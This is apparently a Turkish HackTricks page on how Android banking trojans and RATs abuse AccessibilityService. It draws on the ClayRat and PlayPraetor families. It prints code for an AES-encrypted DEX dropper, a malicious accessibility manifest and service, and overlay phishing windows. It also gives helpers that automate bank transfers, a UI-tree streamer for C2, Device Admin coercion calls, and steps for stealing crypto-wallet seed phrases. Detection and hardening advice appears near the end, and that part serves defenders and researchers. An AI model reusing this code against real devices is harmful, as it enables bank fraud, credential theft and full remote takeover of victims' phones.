Android Accessibility Service Abuse

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

AccessibilityService engelli kullanıcıların Android cihazlarla etkileşimini kolaylaştırmak için oluşturuldu. Ne yazık ki aynı güçlü otomasyon APIs (global navigation, text input, gesture dispatch, overlay windows…) kötü amaçlı yazılımlar tarafından cihaz üzerinde tam uzak kontrol elde etmek için silahlandırılabilir without root privileges.

Günümüz Android banking Trojans ve Remote-Access-Trojans (RATs) such as PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda ve birçok diğerleri aynı reçeteyi takip eder:

  1. Sosyal mühendislikle kurbanı kötü amaçlı bir accessibility servisini etkinleştirmeye ikna etmek (the BIND_ACCESSIBILITY_SERVICE permission is considered “high-risk” and requires an explicit user action).
  2. Servisi kullanarak
  • ekranda görünen her UI event’i ve metni yakalamak,
  • herhangi bir görevi otomatikleştirmek için sentetik jestler enjekte etmek (dispatchGesture) ve global actions (performGlobalAction),
  • meşru uygulamaların üstüne tam ekran overlay’ler çizmek için TYPE_ACCESSIBILITY_OVERLAY window type kullanmak (no SYSTEM_ALERT_WINDOW prompt!),
  • kurban adına sistem diyaloglarına tıklayarak ek runtime izinlerini sessizce vermek.
  1. Kullanıcı tamamen normal bir ekranı izlerken gerçek zamanlı olarak veri sızdırmak veya On-Device-Fraud (ODF) gerçekleştirmek.

Paketlenmiş Accessibility droppers

ClayRat v3.0.8 Accessibility RAT’ini assets/ altında gizlenmiş aşamalı bir payload ile birleştirir. Çalışma zamanında host APK:

  1. assets/*.dat’den şifreli blob’u stream eder.
  2. Java/Kotlin loader içine gömülü sert kodlanmış bir AES/CBC key + IV ile bunu deşifre eder.
  3. Düz metin DEX’i uygulamanın private dizinine yazar ve DexClassLoader ile yükler, gerçek spyware sınıflarını yalnızca hafızada açığa çıkarır.
byte[] blob = readAsset("payload.enc");
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec key = new SecretKeySpec(hex("A1..."), "AES");
c.init(Cipher.DECRYPT_MODE, key, new IvParameterSpec(iv));
byte[] dex = c.doFinal(blob);
DexClassLoader cl = new DexClassLoader(writeTemp(dex), getCodeCacheDir().getPath(), null, getClassLoader());
cl.loadClass("com.clayrat.Core").newInstance();

Bu paketleme deseni (ATT&CK T1406.002), Accessibility modülünü dropper çalışana kadar diske koymaz; bu sayede kullanıcı tehlikeli izinleri verene kadar statik imza taramalarını ve Play Protect’i atlatır.


İzni istemek

<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Eşlik eden XML, sahte iletişim kutusunun nasıl görüneceğini tanımlar:

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Uzaktan UI otomasyon primitifleri

Erişilebilirlik servisi otomasyon iskeleti ```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change }

// Simulate HOME / BACK / RECENTS … private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } }

</details>

Sadece bu iki API ile bir saldırgan şunları yapabilir:
* Ekranın kilidini açar, bankacılık uygulamasını açar, UI tree içinde gezinir ve bir para transferi formunu gönderir.
* Çıkan tüm izin diyaloglarını kabul eder.
* Ekstra APK'ları Play Store intent'i üzerinden yükler veya günceller.

---

## Kötüye kullanım desenleri

### 1. Overlay Phishing (Credential Harvesting)
Şeffaf veya opak bir `WebView` pencere yöneticisine eklenir:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

Kurban sahte forma kimlik bilgilerini girerken arka plandaki uygulama aynı jestleri alır — hiçbir zaman şüpheli “draw over other apps” istemi gösterilmez.

Detaylı örnek: Tapjacking sayfası içindeki Accessibility Overlay Phishing bölümü.

ClayRat bu yeteneği C2’den overlay şablonları indiren show_block_screen / hide_block_screen komutları ile açığa çıkarır. Operatörler, şu düzenleri anlık olarak değiştirebilir:

  • Black out paneli karartır; kurban cihazın kapalı ya da kilitlenmiş olduğunu düşünürken arka plandaki otomatik jestler Play Protect’i devre dışı bırakır veya daha fazla izin verir.
  • Sahte system update / battery optimization panelleri gösterir; cihazın “meşgul” olduğu gerekçesiyle arka plandaki otomasyon devam eder.
  • Sistem kilit ekranını yansıtan etkileşimli PIN pad overlay’i gösterir — kötü amaçlı yazılım her rakamı yakalar ve 4 haneli kod girildiği anda operatöre akıtır.

TYPE_ACCESSIBILITY_OVERLAY pencereleri hiçbir zaman SYSTEM_ALERT_WINDOW izin istemini tetiklemediğinden, kurban sadece aldatıcı UI’ı görürken RAT gerçek uygulamalarla etkileşime devam eder.

2. Cihaz Üzerinde Dolandırıcılık Otomasyonu

PlayPraetor gibi kötü amaçlı yazılım aileleri, operatörün yüksek seviyeli komutlar (init, update, alert_arr, report_list, …) gönderebildiği kalıcı bir WebSocket kanalı tutar. Servis bu komutları yukarıdaki düşük seviyeli jestlere çevirir ve aynı cihazla ilişkilendirilmiş çok faktörlü kimlik doğrulamayı kolayca atlayan gerçek zamanlı yetkisiz işlemler gerçekleştirir.

3. Ekran akışı ve izleme

ClayRat, tipik MediaProjection numarasını uzak masaüstü yığınına yükseltir:

  1. turbo_screen MediaProjection onay diyaloğunu tetikler; Accessibility service “Start now” düğmesine tıklayarak kurbanın müdahale etmesini engeller.
  2. Elde edilen MediaProjection tokenı ile bir VirtualDisplay oluşturur, bunu bir ImageReader destekler, bir ForegroundService canlı tutulur ve frameler işçi thread’lerinde çekilir.
  3. Frameler operatörün sağladığı set_quality parametresine göre JPEG/PNG olarak kodlanır (eksikse varsayılan 60) ve özel ClayRemoteDesktop user-agent’ını bildiren bir HTTP→WebSocket upgrade üzerinden iletilir.
  4. start_desktop / stop_desktop yakalama thread’lerini yönetirken screen_tap, screen_swipe, input_text, press_home, press_back ve press_recents canlı framebuffer üzerinde jestleri yeniden oynatır.

Sonuç, tamamen izinli API’ler üzerinden teslim edilen VNC-benzeri bir akıştır—root veya kernel exploit’leri gerektirmez—ancak saldırganın milisaniye gecikmeyle canlı durum farkındalığı elde etmesini sağlar.

4. Kilit-ekranı kimlik bilgisi hırsızlığı ve otomatik kilit açma

ClayRat com.android.systemui (Keyguard) tarafından yayılan TYPE_WINDOW_CONTENT_CHANGED / TYPE_VIEW_TEXT_CHANGED olaylarına abone olur. Aktif olan korumayı yeniden oluşturur:

  • PIN – locker tamamlandığını raporlayana kadar tuş takımı basışlarını izler.
  • Password – her AccessibilityEvent için odaklanmış parola alanında görülen dizgileri birleştirir.
  • Pattern – 3×3 ızgara üzerindeki jest koordinatlarından türetilen sıralı node indekslerini kaydeder.

Sırlar ve metadata (kilit türü + zaman damgası) lock_password_storage altında SharedPreferences içine serileştirilir. Operatör auto_unlock komutunu gönderdiğinde servis unlock_device / screen_on ile cihazı uyandırır, depolanan rakamları veya jestleri dispatchGesture aracılığıyla yeniden oynatır ve keyguard’ı sessizce atlayarak sonraki ODF iş akışlarının devam etmesini sağlar.

5. Bildirim oltalama ve toplama

Eşlik eden bir Notification Listener bildirim gölgesini oltalama yüzeyine çevirir:

  • get_push_notifications şu anda görünen tüm bildirimleri döker; OTP / MFA mesajları dahil.
  • notifications komutu notifications_enabled bayrağını değiştirir; böylece gelecekteki her onNotificationPosted() yükü gerçek zamanlı olarak C2’ye akıtılır.
  • send_push_notification operatörlerin banka veya sohbet uygulamalarını taklit eden sahte, etkileşimli bildirimler oluşturmasına izin verir; kurbanın gönderdiği herhangi bir metin kimlik bilgisi olarak ayrıştırılır ve anında exfiltrate edilir.

Accessibility bildirim gölgesini programatik olarak açıp kapatabildiği için bu yöntem hedef uygulamalara dokunmadan sırları toplar.

6. Telephony & SMS komut kanalı

Kurban zorla RAT’i varsayılan SMS uygulaması olarak ayarladığında, aşağıdaki komutlar tam modem kontrolü sağlar:

  • send_sms ve retransmishion saldırgan kontrollü numaralara rastgele veya tekrar oynatılmış mesajlar gönderir.
  • messsms tüm rehber veritabanı üzerinde yineleme yaparak solucan benzeri yayılma için phishing linkleri spam’ler.
  • make_call sosyal mühendislik iş akışlarını destekleyen sesli aramaları başlatır.
  • get_sms_list / get_sms ve get_call_log / get_calls gelen kutularını ve arama geçmişini döker; böylece MFA kodları veya arama meta verileri anında suistimal edilebilir.

Accessibility tabanlı UI gezinimi ile birleştiğinde, ClayRat bir bildirim/SMS yoluyla gelen OTP’yi alabilir ve hedef bankacılık veya kurumsal uygulama içinde hemen girebilir.

7. Keşif, toplama & proxyleme

Ek ClayRat komutları ortamı haritalandırır ve C2’nin dayanıklılığını korur:

  • get_apps / get_apps_list yüklü paketleri sayar (ATT&CK T1418).
  • get_device_info model, OS sürümü ve pil durumunu raporlar (T1426).
  • get_cam / get_camera ön kamera stillerini yakalar; get_keylogger_data ise kilit PIN’leri, parolalar, görünüm açıklamaları ve hassas alanlardan kazıma yoluyla alınan ipuçlarını serileştirir.
  • get_proxy_data bir proxy WebSocket URL’si alır, benzersiz cihaz ID’sini ekler ve aynı çift yönlü kanal üzerinden HTTP/HTTPS tünelleyen bir iş başlatır (T1481.002 / T1646).

PlayPraetor – command & control workflow

  1. HTTP(S) heartbeat – aktif C2’yi döndürene kadar sabit kodlanmış bir liste üzerinde yineleme yap ve POST /app/searchPackageName isteğine cevap veren domain’i seç.
  2. WebSocket (port 8282) – çift yönlü JSON komutları:
  • update – yeni conf/APK’ları gönder
  • alert_arr – overlay şablonlarını yapılandır
  • report_list – hedef paket isimleri listesini gönder
  • heartbeat_web – keep-alive
  1. RTMP (port 1935) – canlı ekran/video akışı.
  2. REST exfiltration
  • /app/saveDevice (fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (bank creds)

AccessibilityService, bu bulut komutlarını fiziksel etkileşimlere dönüştüren yerel motorudur.


Kötü amaçlı accessibility servislerini tespit etme

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → İndirilen hizmetler – Google Play’den olmayan uygulamalara bakın.
  • MDM / EMM çözümleri ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) uygulayarak yan yüklenen servisleri engelleyebilir.
  • Çalışan servisleri analiz et:
adb shell dumpsys accessibility | grep "Accessibility Service"

Uygulama geliştiricileri için sertleştirme önerileri

  • Hassas görünümleri android:accessibilityDataSensitive="accessibilityDataPrivateYes" ile işaretleyin (API 34+).
  • Tap/overlay kaçırmayı önlemek için setFilterTouchesWhenObscured(true) ile FLAG_SECURE’i birleştirin.
  • Overlay’leri WindowManager.getDefaultDisplay().getFlags() veya ViewRootImpl API’sini sorgulayarak tespit edin.
  • Settings.canDrawOverlays() veya güvenilmeyen bir Accessibility service aktif olduğunda çalışmayı reddedin.

ATS automation cheat-sheet (Accessibility-driven)

Kötü amaçlı yazılım sadece Accessibility API’leri ile bir banka uygulamasını tamamen otomatikleştirebilir. Genel ilkelere örnek:

Helper methods for ATS automation ```java // Helpers inside your AccessibilityService private List byText(String t){ AccessibilityNodeInfo r = getRootInActiveWindow(); return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); } private boolean clickText(String t){ for (AccessibilityNodeInfo n: byText(t)){ if (n.isClickable()) return n.performAction(ACTION_CLICK); AccessibilityNodeInfo p = n.getParent(); if (p != null) return p.performAction(ACTION_CLICK); } return false; } private void inputText(AccessibilityNodeInfo field, String text){ Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); field.performAction(ACTION_SET_TEXT, b); } private void tap(float x, float y){ Path p = new Path(); p.moveTo(x,y); dispatchGesture(new GestureDescription.Builder() .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); } ```

Örnek akış (Czech → English etiketleri):

  • “Nová platba” (Yeni ödeme) → tıkla
  • “Zadat platbu” (Ödemeyi gir) → tıkla
  • “Nový příjemce” (Yeni alıcı) → tıkla
  • “Domácí číslo účtu” (Yurt içi hesap numarası) → odaklan ve ACTION_SET_TEXT
  • “Další” (İleri) → tıkla → … “Zaplatit” (Öde) → tıkla → PIN gir

Geriye dönüş: metin araması özel widget’lar nedeniyle başarısız olduğunda dispatchGesture ile sabit koordinatlar.

Ayrıca görüldü: limits UI’sine gidip transfer öncesinde günlük limitleri artırarak check_limit ve limit için ön adımlar.

Metin tabanlı pseudo-ekran akışı

Düşük gecikmeli uzak kontrol için, tam video akışı yerine mevcut UI ağacının metinsel bir temsilini döküp bunu C2’ye tekrar tekrar gönderin.

private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

Bu, txt_screen (tek seferlik) ve screen_live (sürekli) gibi komutların temelidir.

Device Admin zorlamaya yönelik primitifler

Bir Device Admin receiver etkinleştirildiğinde, bu çağrılar kimlik bilgilerini ele geçirmek ve kontrolü sürdürme fırsatlarını artırır:

DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Not: Bu politikaların tam olarak kullanılabilirliği Android sürümüne ve OEM’e göre değişir; test sırasında device policy role (admin vs owner) doğrulayın.

Kripto cüzdan seed-phrase çıkarma kalıpları

Observed flows for MetaMask, Trust Wallet, Blockchain.com and Phantom:

  • Unlock with stolen PIN (captured via overlay/Accessibility) or provided wallet password.
  • Gezin: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • Kelime öbeğini text nodes üzerinde keylogging ile toplayın, secure-screen bypass kullanın veya metin gizlendiğinde screenshot OCR ile alın.
  • Seçicileri istikrarlı hale getirmek için birden fazla locale (EN/RU/CZ/SK) destekleyin – mümkünse viewIdResourceName tercih edin, yoksa çok dilli metin eşleştirmesine geri dönün.

NFC-relay orchestration

Accessibility/RAT modülleri, üçüncü aşama olarak adanmış bir NFC-relay uygulamasını (ör. NFSkate) yükleyip başlatabilir ve hatta kurbana card-present relay adımları boyunca rehberlik etmek için bir overlay kılavuzu enjekte edebilir.

Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin